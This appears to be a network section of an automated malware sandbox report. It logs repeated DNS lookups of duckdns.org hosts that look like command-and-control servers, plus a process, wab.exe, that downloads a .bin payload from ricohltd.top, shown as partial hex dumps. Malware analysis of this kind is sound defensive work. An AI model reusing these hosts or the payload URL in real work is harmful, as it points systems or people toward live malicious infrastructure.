May 1, 2024 18:22:49.240231991 CEST	8.8.8.8	192.168.2.22	0x73fa	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.337512016 CEST	8.8.8.8	192.168.2.22	0x73fa	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.442820072 CEST	8.8.8.8	192.168.2.22	0x9aff	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.541452885 CEST	8.8.8.8	192.168.2.22	0x9aff	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.637514114 CEST	8.8.8.8	192.168.2.22	0x9aff	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.737502098 CEST	8.8.8.8	192.168.2.22	0x9aff	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.832015038 CEST	8.8.8.8	192.168.2.22	0x9aff	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.937618971 CEST	8.8.8.8	192.168.2.22	0xfe72	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:50.032835960 CEST	8.8.8.8	192.168.2.22	0xfe72	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:50.127928972 CEST	8.8.8.8	192.168.2.22	0xfe72	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:50.222654104 CEST	8.8.8.8	192.168.2.22	0xfe72	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:50.317847967 CEST	8.8.8.8	192.168.2.22	0xfe72	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.464852095 CEST	8.8.8.8	192.168.2.22	0xd0c1	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.559847116 CEST	8.8.8.8	192.168.2.22	0xd0c1	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.674386978 CEST	8.8.8.8	192.168.2.22	0xd0c1	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.769714117 CEST	8.8.8.8	192.168.2.22	0xd0c1	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.864157915 CEST	8.8.8.8	192.168.2.22	0xd0c1	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:51.969091892 CEST	8.8.8.8	192.168.2.22	0xe166	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.089922905 CEST	8.8.8.8	192.168.2.22	0xe166	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.202805042 CEST	8.8.8.8	192.168.2.22	0xe166	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.298156977 CEST	8.8.8.8	192.168.2.22	0xe166	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.393877029 CEST	8.8.8.8	192.168.2.22	0xe166	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.498246908 CEST	8.8.8.8	192.168.2.22	0x1ac	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.594079018 CEST	8.8.8.8	192.168.2.22	0x1ac	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.689183950 CEST	8.8.8.8	192.168.2.22	0x1ac	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.802944899 CEST	8.8.8.8	192.168.2.22	0x1ac	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:52.897597075 CEST	8.8.8.8	192.168.2.22	0x1ac	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.009882927 CEST	8.8.8.8	192.168.2.22	0x3218	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.104612112 CEST	8.8.8.8	192.168.2.22	0x3218	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.199695110 CEST	8.8.8.8	192.168.2.22	0x3218	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.296776056 CEST	8.8.8.8	192.168.2.22	0x3218	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.391719103 CEST	8.8.8.8	192.168.2.22	0x3218	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.493885994 CEST	8.8.8.8	192.168.2.22	0xb5a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.591691017 CEST	8.8.8.8	192.168.2.22	0xb5a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.687007904 CEST	8.8.8.8	192.168.2.22	0xb5a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.782144070 CEST	8.8.8.8	192.168.2.22	0xb5a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.876624107 CEST	8.8.8.8	192.168.2.22	0xb5a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:54.985073090 CEST	8.8.8.8	192.168.2.22	0x41fb	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:55.079838991 CEST	8.8.8.8	192.168.2.22	0x41fb	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:55.177932978 CEST	8.8.8.8	192.168.2.22	0x41fb	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:55.277726889 CEST	8.8.8.8	192.168.2.22	0x41fb	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:55.376861095 CEST	8.8.8.8	192.168.2.22	0x41fb	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.492283106 CEST	8.8.8.8	192.168.2.22	0xc3fd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.591569901 CEST	8.8.8.8	192.168.2.22	0xc3fd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.686203003 CEST	8.8.8.8	192.168.2.22	0xc3fd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.781416893 CEST	8.8.8.8	192.168.2.22	0xc3fd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.878818035 CEST	8.8.8.8	192.168.2.22	0xc3fd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:56.983673096 CEST	8.8.8.8	192.168.2.22	0x62c5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.100977898 CEST	8.8.8.8	192.168.2.22	0x62c5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.198795080 CEST	8.8.8.8	192.168.2.22	0x62c5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.297602892 CEST	8.8.8.8	192.168.2.22	0x62c5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.392445087 CEST	8.8.8.8	192.168.2.22	0x62c5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.496850014 CEST	8.8.8.8	192.168.2.22	0xb7ff	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.597862005 CEST	8.8.8.8	192.168.2.22	0xb7ff	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.692558050 CEST	8.8.8.8	192.168.2.22	0xb7ff	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.786983013 CEST	8.8.8.8	192.168.2.22	0xb7ff	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:57.885893106 CEST	8.8.8.8	192.168.2.22	0xb7ff	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.019301891 CEST	8.8.8.8	192.168.2.22	0x34cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.114458084 CEST	8.8.8.8	192.168.2.22	0x34cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.209803104 CEST	8.8.8.8	192.168.2.22	0x34cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.316539049 CEST	8.8.8.8	192.168.2.22	0x34cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.411839962 CEST	8.8.8.8	192.168.2.22	0x34cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.529880047 CEST	8.8.8.8	192.168.2.22	0xbf6f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.624274969 CEST	8.8.8.8	192.168.2.22	0xbf6f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.720175982 CEST	8.8.8.8	192.168.2.22	0xbf6f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.816102028 CEST	8.8.8.8	192.168.2.22	0xbf6f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:59.913434982 CEST	8.8.8.8	192.168.2.22	0xbf6f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.024559975 CEST	8.8.8.8	192.168.2.22	0xfb49	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.119709015 CEST	8.8.8.8	192.168.2.22	0xfb49	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.214159966 CEST	8.8.8.8	192.168.2.22	0xfb49	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.310233116 CEST	8.8.8.8	192.168.2.22	0xfb49	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:00.405514002 CEST	8.8.8.8	192.168.2.22	0xfb49	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.178056955 CEST	8.8.8.8	192.168.2.22	0x2e2d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.272454977 CEST	8.8.8.8	192.168.2.22	0x2e2d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.367062092 CEST	8.8.8.8	192.168.2.22	0x2e2d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.461785078 CEST	8.8.8.8	192.168.2.22	0x2e2d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.556333065 CEST	8.8.8.8	192.168.2.22	0x2e2d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.661776066 CEST	8.8.8.8	192.168.2.22	0xacb5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.756064892 CEST	8.8.8.8	192.168.2.22	0xacb5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.851047039 CEST	8.8.8.8	192.168.2.22	0xacb5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:05.945348978 CEST	8.8.8.8	192.168.2.22	0xacb5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.039629936 CEST	8.8.8.8	192.168.2.22	0xacb5	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.144368887 CEST	8.8.8.8	192.168.2.22	0xf039	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.241518021 CEST	8.8.8.8	192.168.2.22	0xf039	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.341957092 CEST	8.8.8.8	192.168.2.22	0xf039	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.439994097 CEST	8.8.8.8	192.168.2.22	0xf039	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:06.536464930 CEST	8.8.8.8	192.168.2.22	0xf039	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.105372906 CEST	8.8.8.8	192.168.2.22	0xcccd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.199976921 CEST	8.8.8.8	192.168.2.22	0xcccd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.298685074 CEST	8.8.8.8	192.168.2.22	0xcccd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.393147945 CEST	8.8.8.8	192.168.2.22	0xcccd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:09.514738083 CEST	8.8.8.8	192.168.2.22	0xcccd	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:10.312961102 CEST	8.8.8.8	192.168.2.22	0x63a1	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:10.828043938 CEST	8.8.8.8	192.168.2.22	0xa3d9	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:10.922765970 CEST	8.8.8.8	192.168.2.22	0xa3d9	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:11.017503023 CEST	8.8.8.8	192.168.2.22	0xa3d9	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:11.112143040 CEST	8.8.8.8	192.168.2.22	0xa3d9	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:11.215830088 CEST	8.8.8.8	192.168.2.22	0xa3d9	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.476068974 CEST	8.8.8.8	192.168.2.22	0x8656	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.571408987 CEST	8.8.8.8	192.168.2.22	0x8656	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.669987917 CEST	8.8.8.8	192.168.2.22	0x8656	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:12.783092976 CEST	8.8.8.8	192.168.2.22	0x8656	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:13.046169043 CEST	8.8.8.8	192.168.2.22	0x8656	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:16.740035057 CEST	8.8.8.8	192.168.2.22	0xd33e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:16.835520983 CEST	8.8.8.8	192.168.2.22	0xd33e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:16.934690952 CEST	8.8.8.8	192.168.2.22	0xd33e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.030270100 CEST	8.8.8.8	192.168.2.22	0xd33e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.125211000 CEST	8.8.8.8	192.168.2.22	0xd33e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.231348991 CEST	8.8.8.8	192.168.2.22	0x636c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.325886965 CEST	8.8.8.8	192.168.2.22	0x636c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.423676014 CEST	8.8.8.8	192.168.2.22	0x636c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.520143986 CEST	8.8.8.8	192.168.2.22	0x636c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:17.617027044 CEST	8.8.8.8	192.168.2.22	0x636c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:18.736934900 CEST	8.8.8.8	192.168.2.22	0xd9a9	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:18.831818104 CEST	8.8.8.8	192.168.2.22	0xd9a9	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:18.926796913 CEST	8.8.8.8	192.168.2.22	0xd9a9	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.022181988 CEST	8.8.8.8	192.168.2.22	0xd9a9	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.117746115 CEST	8.8.8.8	192.168.2.22	0xd9a9	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.223251104 CEST	8.8.8.8	192.168.2.22	0x69cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.317845106 CEST	8.8.8.8	192.168.2.22	0x69cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.412731886 CEST	8.8.8.8	192.168.2.22	0x69cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.507664919 CEST	8.8.8.8	192.168.2.22	0x69cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.617893934 CEST	8.8.8.8	192.168.2.22	0x69cb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.726191044 CEST	8.8.8.8	192.168.2.22	0xad0	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.822231054 CEST	8.8.8.8	192.168.2.22	0xad0	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:19.916877985 CEST	8.8.8.8	192.168.2.22	0xad0	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:20.019217968 CEST	8.8.8.8	192.168.2.22	0xad0	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:20.117466927 CEST	8.8.8.8	192.168.2.22	0xad0	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:23.006800890 CEST	8.8.8.8	192.168.2.22	0x13e0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:23:23.646436930 CEST	8.8.8.8	192.168.2.22	0x5d38	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ricohltd.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	104.21.60.38	443	3336	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 16:20:41 UTC	172	OUT	GET /ELFpBDmh152.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: ricohltd.top Cache-Control: no-cache
2024-05-01 16:20:41 UTC	845	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 16:20:41 GMT Content-Type: application/octet-stream Content-Length: 494656 Connection: close Last-Modified: Mon, 22 Apr 2024 16:13:43 GMT ETag: "66268cb7-78c40" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 91658 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tYhOTYy4wlSwjEUYgFb5Ja%2BNw6AdXce9Q%2FW2PpGsX16XZ9lhf%2BgFfg7k3bB7uwSxc8hSQiGLFJHNK4%2FnmrGxfgMfWAjpVmjUNicBNSQt9Pzby2iOQTj1pp8S%2FsYn%2Ffc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 87d119b18f782417-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 16:20:41 UTC	524	IN	Data Raw: 41 72 91 d5 46 b0 aa d4 92 e6 3b ac b2 fa b1 d5 61 b6 e9 00 60 78 08 4f 4a 8f 3d 46 27 86 fe 9e 18 4d 44 02 3c 05 fa f3 0c cf f2 72 31 c3 b2 50 07 c0 a5 d6 ac 76 3d 61 bb 8b 48 fb 36 8e 2c a8 37 27 6e ff f7 c8 58 11 f7 e3 09 a3 ee 5b 55 8f 31 12 df 12 05 27 01 0f 54 79 04 7b 00 32 99 f2 71 3c c1 ab f6 5e bf 29 ce b0 0f c8 15 e9 0b a7 cb 8a 14 05 13 a8 ce 07 fa ed ce e1 27 c6 50 65 2a 25 88 6b dd 9e 98 ef c4 b5 99 d3 11 02 ed 6c d1 3d d5 54 e3 a9 4b 42 65 c7 86 92 19 52 1d cb 3a f8 92 dc 45 fc e7 ed 33 14 d7 08 37 4d 7c c4 79 aa db 63 36 12 95 eb 21 b8 d7 48 cf 07 36 2b 6b 29 24 54 03 6b 9e 5c 3c d3 c5 0c 57 45 cb b6 e7 bd a8 cf 08 35 33 07 e8 80 e3 62 a7 99 13 1f 1c 9d ac cf 4e 96 5b c2 88 f0 69 46 b6 13 c2 39 f0 d0 f2 16 f3 71 87 ef df 94 e0 3e f8 a1 cd Data Ascii: ArF;a`xOJ=F'MD<r1Pv=aH6,7'nX[U1'Ty{2q<^)'Pe*%kl=TKBeR:E37M\|yc6!H6+k)$Tk\<WE53bN[iF9q>
2024-05-01 16:20:41 UTC	1369	IN	Data Raw: 70 f0 fe 59 1c 1d 1b fa 42 83 b2 d5 1c 67 ea ae 84 27 8f ad ba f4 6f 73 21 7e b4 d0 cd 51 e4 fe bb 36 a3 f3 fe 62 d6 2a 3c 50 4a 95 61 59 a3 0c a0 be ee 56 dc 94 fe 34 11 9e d6 5d 50 1f 22 41 14 b9 08 17 29 d0 7b 8a 01 de 78 86 c9 08 80 1c 8b 14 1b 3e 1d b2 38 17 78 2b 31 26 0e a2 1b f6 98 b4 18 49 e5 6a 16 82 3e 3f 15 82 53 c9 6d 93 ed 71 d5 71 85 7a 98 9d 87 85 d4 37 8d 40 1f 39 41 81 93 77 a3 cf e8 9a e0 99 37 3f 5a b3 ca 47 10 67 87 7a ea 63 59 a3 6a 96 78 72 83 35 3d 86 94 95 c5 1b 9b 7d 84 4b 59 7a c3 67 4f 0c d8 d4 95 68 1a 97 6a 26 08 eb fc 97 ca e7 cb 2a 50 af ba 75 0b 3c 5e 06 0f 50 7a bf 8d ec 58 ea 1a 99 65 37 3d 10 0e 09 13 bc 5a 39 02 e2 d9 dd e4 2c da f6 10 5c 25 bb d9 d4 68 79 4c 4b 48 83 11 ae ee 2b 0f 5c d9 e3 78 0a 9d 2a 31 bf 3b b1 bc Data Ascii: pYBg'os!~Q6b<PJaYV4]P"A){x>8x+1&Ij>?Smqqz7@9Aw7?ZGgzcYjxr5=}KYzgOhj&Pu<^PzXe7=Z9,\%hyLKH+\x*1;
2024-05-01 16:20:41 UTC	1369	IN	Data Raw: 7a 95 a5 f3 f4 c8 30 88 73 a6 09 4b 2a 90 56 8f d0 d1 66 f2 51 60 01 e7 8a 74 04 7b 68 91 19 b7 71 d4 e4 9f f5 5e e6 ea 77 c8 5a 8f 15 01 83 aa cb 8a 7c a8 93 ed ce ef f5 d9 cd e1 76 04 3a 65 9d c2 66 22 dd c2 19 11 e5 0d f0 28 5c 66 b9 ec 4f 7d f6 24 c8 05 46 30 bd 32 f3 b6 78 d4 03 97 4e d8 98 78 e5 cb 92 6b cc 4e ba 28 2a c1 96 fc 42 82 bf ee 5a 12 98 e1 6d 73 57 0d cf ef ff 18 0c b2 c6 ba ca fe 70 23 1c 43 10 cb 47 e9 59 c8 9b e6 bf b1 3b a7 33 f9 39 e6 2d b0 13 60 c6 38 4b 91 8b 08 20 34 c9 bc 49 57 0b 38 97 81 c8 c7 0b 8a 08 fc e2 88 52 c8 91 89 d6 17 85 5b f0 14 7f b9 f9 3f 25 35 50 dd 55 2b bc c6 ea 06 4d 54 f0 94 d7 b5 54 d3 2d e8 26 0c ff c6 72 05 bd a5 2a 55 c6 7a 29 23 82 f9 13 e4 1f 01 bd 6c c9 c7 d8 c6 c2 32 21 15 64 16 47 9b b9 ff d3 98 5d Data Ascii: z0sKVfQ`t{hq^wZ\|v:ef"(\fO}$F02xNxkN(BZmsWp#CGY;39-`8K 4IW8R[?%5PU+MTT-&r*Uz)#l2!dG]
